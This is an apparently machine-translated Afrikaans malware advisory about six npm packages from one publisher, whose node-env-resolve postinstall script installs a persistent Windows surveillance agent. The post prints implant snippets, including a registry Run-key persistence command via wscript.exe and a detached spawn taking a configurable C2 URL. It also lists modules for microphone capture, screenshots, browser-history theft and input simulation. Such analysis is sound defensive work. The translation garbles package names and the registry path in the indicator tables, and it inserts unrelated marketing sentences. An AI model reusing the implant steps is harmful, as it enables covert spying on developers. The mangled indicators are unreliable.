TL; DR
Tussen 1 April en 3 Mei 2026, 'n enkele npm-uitgewer, user0001, geregistreer met die ongeverifieerde Gmail-adres tanvisoul9@gmail.com, het stilweg ses pakkette met doelbewus vervelige, infrastruktuur-klinkende name gestoot: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, en node-env-resolve.
Die nuutste twee weergawes van node-env-resolve, 1.0.7 en 1.0.8, is op 2 Mei deur Xygeni se Malware Early Warning (MEW)-stelsel gemerk en op 3 Mei as kwaadwillig bevestig.
Die inplanting is ongewoon vir wat dit nie is nie: daar is geen Telegram-botte, geen OAST-terugbeldienste, geen obfuscation, en geen poging om AWS-geloofsbriewe tydens installasie te bekom nie. In plaas daarvan, postinstall.js plant 'n Windows-opstart-persistensie-inskrywing, met behulp van 'n HKCU Run-sleutel wat begin wscript.exe teen 'n VBS-stompie. Dan skep dit 'n losstaande Node.js-agent wat modules vir mikrofoonopname, blaaiergeskiedenisdiefstal, skermkiekies en muis-/sleutelbordsimulasie bundel.
Ons noem hierdie groep OntwikkelaarTap, nadat die kit op 'n ontwikkelaar se masjien laat loop.
Al ses pakkette was ten tyde van skryf op npm beskikbaar. Ons het hulle by die register se misbruikkanaal ingedien. Verdedigers moet enige installasies van die uitgewer afhaal hangende verwydering.
Die Kluster: Ses Pakkette, Een Uitgewer
Die uitgewerrekening user0001 is ongeverifieer. Dit het geen SCM verifikasie, geen domeingebonde e-pos en geen vorige geskiedenis nie. Die Gmail-handvatsel tanvisoul9 verskyn nie in enige ander npm-uitgewerrekord wat ons kon vind nie.
Al ses pakkette lys dieselfde onderhouer, is vanaf dieselfde rekening gepubliseer en deel dieselfde package.json standaard. Daar is geen repository, geen homepage, en nee description langer as 'n enkele lyn.
Die naamstrategie is die interessante deel. Anders as 'n klassieke afhanklikheidsverwarring- of typosquat-veldtog, teiken geeneen van hierdie name 'n spesifieke stroomop-biblioteek nie. In plaas daarvan is hulle gekalibreer om in 'n werklike ... te verdwyn. package.json or npm ls uitset.
| pakket | Eerste gepubliseer | Nuutste weergawe | weergawes | Rol in die Kluster |
|---|---|---|---|---|
| sentrale loggier | 2026-04-01 12:46 UTC | 1.0.9 | 5, van 1.0.5 tot 1.0.9 | Cluster se "logging nut" omslag; vroegste publikasie |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Generiese DOM-helper-omslag |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Boots die node-fetch familie na |
| verbindingsagent | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Generiese naam "agent" |
| node-gyp-looptyd | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Boots inheemse module-bougereedskap na |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, van 1.0.0 tot 1.0.9 | Aktiewe dropper; volledige inplantaat |
Name soos centralogger, node-fetch-lite, en node-gyp-runtime is ontwerp om onkontroversieel te lyk in kode-oorsig. Hulle klink soos dinge wat reeds in 'n projek se afhanklikheidsboom sou wees.
Gekombineer met 'n vars, ongeverifieerde uitgewer en ontbrekende skakels na die bewaarplek, vorm hulle 'n herkenbare patroon: 'n akteur wat lae-wrywing name in die register saai, en dan vinnig herhaal op die een wat saak maak. In hierdie geval, node-env-resolve het tien weergawes in agt dae ontvang.
Wat land op 'n Windows Dev Box
Die kwaadwillige ketting aan node-env-resolve:1.0.8 is kort, direk en buitengewoon funksioneel vir 'n npm RAT.
Na-installasie: Volharding en Afsonderlike Agent
package.json verklaar 'n enkele installasiehaak:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js doen drie dinge in volgorde.
Eerstens plaas dit 'n installasiegids buite die npm-boom. Die pad word tydens looptyd in die skrip bereken as INSTALL_DIRDan loop dit 'n interne execSync('npm install --production --silent ...') daarbinne om die inplantaat se looptydafhanklikhede te trek. Dit plaas die agent op skyf iewers in 'n handleiding node_modules oudit sal nie vind nie.
Tweedens, dit skryf 'n VBS-lanseerder en registreer dit vir selflaai-persistensie:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe is die Windows Script Host, 'n getekende Microsoft-binêre lêer wat loop .vbs lêers sonder 'n konsole-venster. Dit is voorafcisely hoekom dit verkies word vir outo-uitvoer-subs.
Daar is ook 'n ooreenstemming reg delete pad binne src/index.js, wat daarop dui dat die inplantaat ontwerp is om skoon verwyderbaar te wees op bevel van die operateur.
Derdens, dit veroorsaak 'n losstaande kindproses:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Twee besonderhede is hier van belang.
SERVER_URL word uit die omgewing gelees. Gevolglik is die C2-eindpunt konfigureerbaar per ontplooiing en word dit nie in die pakket ingebak nie. Daardie klein maar doelbewuste keuse verslaan die meeste statiese-IOC-sweeps.
Ook erf die voortgesette kind die volle oueromgewing. Daarom, enige NPM_TOKEN, AWS_*, GITHUB_TOKEN, of SSH-agent-sok wat in die ontwikkelaardop teenwoordig is tydens installasie, reis na die langlewende agent se geheue.
Wat die Agent saamstuur
Die gebundelde src/ boom sluit drie modules in waarvan die name alleen die storie vertel: audioCapture.js, browserHistory.js, en systemInfo.js.
Die lys van looptydafhanklikhede, opgelos tydens die fase-opstelling npm install, staaf hulle.
Hierdie benadering verander 'n chaotiese voorval in 'n beheerde reaksie.
In plaas daarvan om blindelings te reageer, werk spanne met duidelike prioritisering en vinnige remediëring.
| afhanklikheid | Waarvoor dit in hierdie konteks is |
|---|---|
| skermkiekie-lessenaar | Periodieke skermkiekie |
| @neutboomvurk/neut-js | Muis- en sleutelbordoutomatisering / invoersimulasie |
| beter-sqlite3 | Direkte lesings van Chrome-, Edge- en Firefox-geskiedenis SQLite-databasisse |
| adm-poskode | Bundeling van versamelde artefakte voor eksfiltrasie |
| skerp | Vergroting/komprimering van skermkiekies en beeldartefakte |
| socket.io-kliënt | Aanhoudende tweerigting C2-kanaal |
| node-masjien-ID | Stabiele vingerafdruk per gasheer vir slagofferopsporing |
systemInfo.js oproepe os.networkInterfaces() vir addisionele vingerafdruk voor die eerste baken.
Waarom die klankopname die uitstaande sein is
Meeste npm RAT's wat ons in MEW triageer, stop by geheime diefstal tydens installasie. Hulle lees. ~/.npmrc, lees ~/.aws/credentials, skraap process.env, POST na 'n webhook, en sluit af. Dit pas by 'n "smash-and-grab" ekonomiese model. Geloofsbriewe het 'n kort halfleeftyd, en die aanvaller moet vinnig geld verdien.
node-env-resolve is anders in vorm.
Die persistensie is opgestel om herlaai te oorleef. Die agent loop losstaande en langdurig onder wscript.exeDie toerusting wat dit dra, is om op 'n ontwikkelaar se masjien te wees, nie om te gryp en te los nie: 'n mikrofoonopnemer, 'n sleutelbord-/muisdrywer, volledige blaaiergeskiedenis-inname, skermkiekie en 'n interaktiewe Socket.IO-kanaal terug na 'n konfigureerbare C2.
Mikrofoonopname in die besonder is die lyn wat hierdie veldtog oorsteek wat die meeste npm-wanware nie oorkom nie.
'n Ontwikkelaarswerkstasie is toenemend ook die werkstasie waar ontwikkelaars staande praatjies, kliëntoproepe, ontwerpbesprekings en oproepbrûe neem. 'n Inplantaat wat die mikrofoon opneem, is nie regtig agter die ontwikkelaar se npm-token aan nie. Dit is agter wat die ontwikkelaar voor die skootrekenaar sê.
Daardie vermoënstel, plus die gebrek aan verduistering en die afwesigheid van enige flitsende installasie-tyd-eksfiltrasie, lees as voorafposisionering vir geteikende toegang eerder as opportunistiese geloofsbriewediefstal.
Ons beweer nie toeskrywing alleenlik hierop nie. Ons neem kennis van die operasionele profiel.

Die agt-dae iterasiekadens op node-env-resolve is die mees operasioneel veelseggende detail in die tydlyn.
Dit is nie 'n "fire-and-forget"-plasing nie. Die uitgewer onderhou die plaser aktief, wat gewoonlik een van twee dinge beteken. Óf hulle stem dit af teen toetsomgewings voor breër ontplooiing, óf hulle het reeds geïnstalleerde telemetrie wat terugkom en reageer daarop.
Die ander vyf pakkette het effektief geen verloop gesien na hul aanvanklike publikasie nie. Dit pas by 'n "fase een keer, los naam"-patroon vir die ondersteunende groep, terwyl ingenieurspogings fokus op die pakket wat die werk doen.
Toeskrywing: Klein leidrade, geen vaste uitspraak nie
Openbare OSINT seine is dun, en ons sal hulle nie rek nie. Wat is waarneembaar:
Die Gmail-handvatsel tanvisoul9 lyk gedeeltelik soos 'n Suid-Asiatiese voornaam, "Tanvi." Dit is 'n swak sein. Gmail-handvatsels is nie identiteit nie, en die agternaam soul9 is generies. Dit is nie veilig om geografie af te lei van slegs 'n e-pos se plaaslike deel nie.
Kodestyl is onopvallend Node.js: standard biblioteekoproepe soos os, child_process, spawn, en reg addDaar is geen verdoeseling, geen stringrotasie en geen anti-ontfoutingslogika nie. Die outeur is gemaklik met Windows-registerprimitiwe en losstaande-kind-proses-orkestrering, maar dit lyk nie of hy na meer onopvallende handelsmerke gryp wat hulle waarskynlik sou kon gebruik nie.
Afhanklikhede is heeltemal van die rak af en welbekend: screenshot-desktop, nut-js, better-sqlite3, en socket.io-clientDaar is geen persoonlike protokol, geen van nuuts af gerolde C2-stapel, en geen nuwe volhardingstruuk buite 'n handboek nie. HKCU Run-sleutelDit is 'n bekwame integreerder, nie 'n gereedskapskrywer nie.
Ons het geen nie-Engelse stringe, ingebedde kommentare, lokaliteitsdata of tydsone-vingerafdrukke van die samesteller-uitvoer binne die gepubliseerde artefakte gevind nie.
Ons het gekyk na kode-oorvleueling met vorige veldtogte wat ons reeds dophou, insluitend Shai Hulud, Owlivion, Buildkite, en die onlangse heibai / claude-code-best Antropiese-CLI kloonfamilie. Ons het geen gevind nie: geen gedeelde C2-patrone, geen gedeelde lêeruitlegte en geen gedeelde idiome nie.
Wat ons nie sou sê nie: dat dit 'n staatsakteur, 'n bekende groep, of geografies gekoppel is aan enige spesifieke land.
Die operasionele profiel stem ooreen met 'n klein, matig geskoolde span wat ontwikkelaar-werkstasie-monitering doen. Dit is waarskynlik finansieel gemotiveerd deur die stroomafgebruik van die toegang, maar moontlik ook verkenning-as-'n-diens vir 'n aparte koper.
Twee indirekte punte ondersteun dit: die vermyding van aandagtrekkende eksfiltrasiemeganika wat die groep vinnig sou verbrand, soos Telegram-botte, oastify.com, of canarytokens, en die doelbewus vaal pakketname, wat stil langstert-installasies verkies bo 'n kort hoëvolume-piek.
Aanwysers van Kompromie en Opsporing
| Pakkette en Uitgewer | |
|---|---|
| Veld | waarde |
| npm-uitgewer | user0001 |
| Uitgewer se e-posadres | tanvisoul9@gmail.com, ongeverifieer |
| Pakkette | centralogger, dom-utils-lite, node-fetch-lite, konnektor-agent, node-gyp-looptyd, node-omgewing-oplos |
| Bevestig as kwaadwillig | node-omgewing-oplos@1.0.7, node-omgewing-oplos@1.0.8 |
| Gasheer Artefakte | |
|---|---|
| Tipe | waarde |
| Volhardingsleutel | HKCU\Sagteware\Microsoft\Windows\Huidige Weergawe\Run |
| Volhardingswaarde | Veranderlike naam; data van die vorm wscript.exe " \\ .vbs" |
| Installeer haak | postinstall: node postinstall.js in die pakketmanifes |
| Implantaatmodules | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Opvoergids | INSTALL_DIR opgelos buite die projek se node_modules; ligging gestel deur postinstall.js tydens installasietyd |
| Netwerk | |
|---|---|
| Tipe | waarde |
| C2-vervoer | socket.io-kliënt, aanhoudende tweerigtingkanaal |
| C2-eindpunt | Verskaf aan die agent deur die SERVER_URL omgewingveranderlike; nie hardgekodeer in gepubliseerde artefakte nie |
Opsporingsnotas
Twee reëls vang hierdie familie sonder dat die C2-eindpunt nodig is.
Eerstens, merk nainstallasie-skripte wat 'n interne npm install in 'n pad buite die pakket se eie gids. Enige wettige voorafbou-aflaaier, soos node-gyp herbou of voorafgeboude binêre aflaaiers, skryf binne die pakket of in platform-standard kaspaaie met geverifieerde hashes. Dit skryf nie in 'n varsgeskepte INSTALL_DIR elders op die skyf.
Tweedens, merk na-installasie skripte wat probleme veroorsaak reg add HKCU\…\Run met wscript.exe as die lanseerder. Dit is in wese nooit wettig vanaf 'n npm-pakket nie. Merk en kwarantyn dit.
'n Derde heuristiek is nuttig om die volgende sibbepakket op te spoor voordat dit bevestig word: 'n vars npm-uitgewer sonder SCM verifikasie, 'n Gmail-e-pos, nee repository veld, en verskeie kort, generiese, infrastruktuur-klinkende pakketname wat binne dae van mekaar gepubliseer word, is op sigself genoeg om handmatige hersiening te regverdig.
Aangemeld by die npm-register. Ons sal hierdie plasing opdateer wanneer die uitgewerrekening verwyder word.






